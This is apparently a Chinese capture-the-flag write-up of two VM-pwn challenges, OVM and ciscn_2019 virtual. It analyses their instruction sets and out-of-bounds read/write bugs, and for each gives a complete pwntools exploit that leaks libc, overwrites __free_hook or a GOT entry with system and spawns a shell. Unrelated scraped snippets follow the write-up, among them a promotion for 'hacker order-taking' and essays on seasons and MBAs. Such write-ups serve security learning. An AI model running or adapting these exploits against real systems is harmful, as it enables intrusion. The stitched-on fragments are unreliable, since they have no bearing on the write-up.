之前一直没去了解过vm-pwn,做一些题目对vm-pwn进行一个大体上的了解,算是入门。
对指令有过了解
有耐心(感觉vm程序的代码量有点大)
[OGeek2019 Final]OVM
检测保护
canary没开启
ida分析
main函数
fetch函数
fetch函数较为简单,即取出pc值,以pc值作为下标返回指定的指令
execute函数
可以看到指令是由几个部分组成的,其实execute函数就是一个指令表,我们通过指令表输入相应的指令就可以完成相应的操作。
指令表
操作码|操作数1|操作数2|操作数3 op |num1 |num2 |num3 --------------------------- 操作码 0x70: reg[num1]=reg[num3]+reg[num2] | add指令 0xB0: reg[num1]=reg[num3]^reg[num2] | 异或指令 0xD0: reg[num1]=reg[num2]>>reg[num3] | 右移指令 0xFF: 若reg[13]为0,则退出,否则打印指令集 0xC0: reg[num1]=reg[num2] << reg[num3] | 左移指令 0x90: reg[num1]=reg[num3] & reg[num2] |与指令 0xA0: reg[num1]=reg[num3] | reg[num2] |或指令 0x80: reg[num1]=reg[num2] - reg[num3] | sub指令 0x30: reg[num1]=memory[reg[num3]] | mov reg memory 指令 0x50: stack[op]=reg[num1] | push指令 0x60: reg[num1]=stack[reg[13]] | pop指令 0x40: memory[reg[num3]]=reg[num1] mov memory reg 指令 0x10: reg[num1]=v2(更低位) | set指令 0x20: reg[num1]=v2==0
其中漏洞点在于两条指令,由于数组的下标没有进行限制,则会产生数组越界的情况。则造成了任意地址写和任意地址读的情况。
0x30: reg[num1]=memory[reg[num3]] | mov reg memory 指令 //任意地址读 0x40: memory[reg[num3]]=reg[num1] mov memory reg 指令 //任意地址写
采用movsxd指令进行下标的转移,movsxd是进行符号填充再进行转移,即数组的下标是有符号数。
可以看到用于保存指令的memory以及用于寄存器存储的reg的地址都比got表的地址大,那么大数组的下标为负数时,即可越界读取got表内的地址,完成基地址的泄露
首先程序再结束时,会往comment[0]的内容作为地址写入,然后将comment[0]给free掉,那么可以将comment[0]的内容修改为free_hook-4,此时可以将free_hook-4修改为/bin/sh\x00,free_hook修改为system从而获得shell
由于需要将commnet[0]修改为free_hook-4,那么首先需要泄露libc_base的地址,由于读取操作没有对下标进行限制,因此进行任意地址读,读取got表项的内容,泄露libc的地址
将读取得到libc地址,利用指令表的算数运算求得free_hook-4的地址,利用写操作没有对下标进行限制,进行任意地址写,往comment[0]内写入free_hook-4的地址
#step1 读取got表项内容
0x100a0001, #set指令,将r10设置为1 0x100b0009, #set指令,将r11设置为9 0xc00a0a0b, #左移指令,r10为1<<9=0x200 0x10010001, #set 将r1设置为1 0x10020006, #set 将r2设置为6 0xc0030102, #左移 r3=1<<6=0x40 0x10010004, #set r1=4 0x10000006, #set r0=6 0x70030301, #add r3=0x40+4=0x44 0x80040003, #sub r4=6-0x44=-0x3e,got表项 0x30050004, #read 将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次 0x7004040d,#将下标+1 0x30060004, #读取剩下的4个字节
解释一下-0x3e,我们找到需要泄露的got表项的地址,与memory地址相减,然后要除以4,因为这个值为数组的下标,而数组的大小为int型,因此要除以4,即可求出目标地址的下标值
#step2 往commnet[0]写入
由于以及泄露出got表现的地址,该地址与free_hook-4的地址相对偏移是不变的,因此就需要利用指令表的指令进行算数运算求出free_hook-4的地址即可,接着再次利用数组越界将free_hook-4写入comment[0]即可
0x10000003,
0x1001000f,
0xc0000001,
0x10010005,
0xc0000001,
0x10020004,
0x1001000f,
0xc0020201,
0x10010001,
0xc0020201,
0x70000002,
0x1001000c,
0x10020002,
0xc0020201,
0x70000002,
0x10010008,
0x10020002,
0xc0020201,
0x70000002,
0x10010004,
0x1002000b,
0xc0020201,
0x70000002,
0x70050500,
0x10000000,
0x10010008,
0x80000001,
#计算出comment[0]的下标
0x40050000,
#将free_hook-4的低四字节写进comment[0]
0x10010001,
0x70000001,
0x40060000,
#写入剩余的4个字节 0xff000000
#打印寄存器内容
完整exp
from pwn import * libc=ELF("libc.so.6") context(arch='amd64',os='linux') sh=process("https://www.freebuf.com/articles/network/pwn") #sh=remote("node3.buuoj.cn",26699) free_hook=libc.symbols['__free_hook'] print 'free_hook:'+hex(free_hook) code=[ 0x100a0001, #set指令,将r10设置为1 0x100b0009, #set指令,将r11设置为9 0xc00a0a0b, #左移指令,r10为1<<9=0x200 0x10010001, #set 将r1设置为1 0x10020006, #set 将r2设置为6 0xc0030102, #左移 r3=1<<6=0x40 0x10010004, #set r1=4 0x10000006, #set r0=6 0x70030301, #add r3=0x40+4=0x44 0x80040003, #sub r4=6-0x44=-0x3e,got表项 0x30050004, #read 将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次 0x7004040d, #将下标+1 0x30060004, #读取剩下的4个字节 0x10000003, 0x1001000f, 0xc0000001, 0x10010005, 0xc0000001, 0x10020004, 0x1001000f, 0xc0020201, 0x10010001, 0xc0020201, 0x70000002, 0x1001000c, 0x10020002, 0xc0020201, 0x70000002, 0x10010008, 0x10020002, 0xc0020201, 0x70000002, 0x10010004, 0x1002000b, 0xc0020201, 0x70000002, 0x70050500, 0x10000000, 0x10010008, 0x80000001, #计算出comment[0]的下标 0x40050000, #将free_hook-4的低四字节写进comment[0] 0x10010001, 0x70000001, 0x40060000, #写入剩余的4个字节 0xff000000 #打印寄存器内容 ] sh.recvuntil("PC:") sh.sendline(str(0)) sh.recvuntil("SP:") sh.sendline(str(1)) sh.recvuntil("CODE SIZE:") sh.sendline(str(len(code))) sh.recvuntil("CODE: ") for i in code: sleep(0.1) sh.sendline(str(i)) sh.recvuntil("R5: ") addr1=sh.recv(8) print 'addr1:'+addr1 sh.recvuntil("R6: ") addr2=sh.recv(4) print 'addr2:'+addr2 addr=int('0x'+addr2+addr1,16) print 'addr:'+hex(addr) libc_base=addr - 0x3c67a0 system=libc_base + libc.symbols['system'] print 'system:'+hex(system) sh.recvuntil("OVM?") payload='/bin/sh\x00'+p64(system) attach(sh) sh.send(payload) sh.interactive() ciscn_2019_qual_virtual
ida分析
main函数
程序开始开辟了三个空间,用于存放指令,数据,以及用于操作的数据空间。
指令表
指令间是通过分隔符执行分隔的,分隔符有 \r 存进了名为delim的变量,strtok是根据分隔符将字符串分割出来,就是为了区分我们输入的指令。指令是采用字符串进行输入的。
execute
在执行指令的函数里,具体的指令操作没有反编译出来,我们需要动态调试将指令具体的操作的函数偏移调试出来。
将断点断在跳转时,因为rax是通过动态赋值的,因此ida不能分析出具体跳转的函数
进入gdb进行动态调试
输入你需要查找的指令
查看此时rax的值
在ida内,G键输入跳转,输入rax的值
可以发现这里会调用一个函数,这个函数就是save指令的操作,其余指令的操作也可以这样调试出来,就不一一演示了。
save
save函数就是从运行栈的栈顶中取出两个值,一个值作为下标,另一个作为值进行赋值,很显然是一个任意地址写的功能,因为下标的值没有进行限制,因此存在一个数组越界。
load
存在一个任意地址写,按照套路,就应该存在一个任意地址读,我们来看下load函数,load函数就是从运行栈的栈顶取出一个值作为下标,并且将该下标的值存入运行栈中,位于运行栈的栈顶。通用存在数组越界
程序没有开启got表的保护,可以修改puts函数的got表项为system
通过load函数的数组越界漏洞读取libc的值
通过save函数的数组越界漏洞将system写入puts函数的got表项
在执行puts(s)时触发system
完整exp
from pwn import * libc=ELF("libc.so.6")
#sh=process("https://www.freebuf.com/articles/network/pwn") sh=remote("node3.buuoj.cn",26845) puts_got=0x404020 sh.recvuntil("name:") sh.sendline("/bin/sh\x00") sh.recvuntil("instruction:") payload='push push load push sub div load push add ' payload+='push push load push sub div save ' sh.sendline(payload) sh.recvuntil("data:") payload=str(8)+' ' payload +=str(-4)+' ' payload +=str(puts_got+8)+' ' payload +=str(-0x2a300)+' ' payload +=str(8)+' ' payload +=str(-5)+' ' payload +=str(puts_got+8)+' ' #attach(sh) sh.sendline(payload) sh.interactive()
本文作者:hope@合天智汇
一年有春夏秋冬四个季节,当我们在享受着四个季节交替更换的过程里,演绎着的一个个美丽的瞬间,会同时感触到人的一生就像一年四季一样,在交替着少年、青年、中年、老年。当我们走过了花样的青葱年华,经历了风...
大门上的字是什么字? 大门口可以写的字很多,以下是一些常见的吉祥字: “福”字:寓意福气、福运,表达对幸福生活的向往和祝愿。 “寿”字:寓意长寿、健康,表达对健康长寿的祝福。福 拼音fú 一切顺利,幸...
读mba有什么用(读MBA究竟有什么用?)常常有些人问,MBA培训费那麼高,读过究竟有什么用? 有些人要说MBA没有用,就电镀金罢了; 也有些人说MBA有效,但它是画龙点睛,并不是锦上添花...
一、手机软件园黑客接单流程 1、接单方法把产品排名在前三页,这样买家在搜索时就会看到你的产品。手机软件园帝国上帝知乎一方面,为了避免无效的沟通,司机接收订单,另一方面,如果附近的司机能发出信息,他们可...
可以免费发短信的网站 1、新浪网论坛、搜狐社区、网易北京社区、上海热线社区、度娘的贴吧、知道。\x0d\x0a\x0d\x0a我简单说一下,百度上面发信息都是免费的。、\x0d\x0a还有论坛,发信息...
非有机化学知名品牌水果泥排名榜 非有机化学知名品牌水果泥性价比高强烈推荐。谈起水果泥知名品牌许多 母亲脑中会跳出来许多 水果泥的知名品牌,此刻就必须一个水果泥品牌排行来强烈推荐性价比高最大的水果泥知...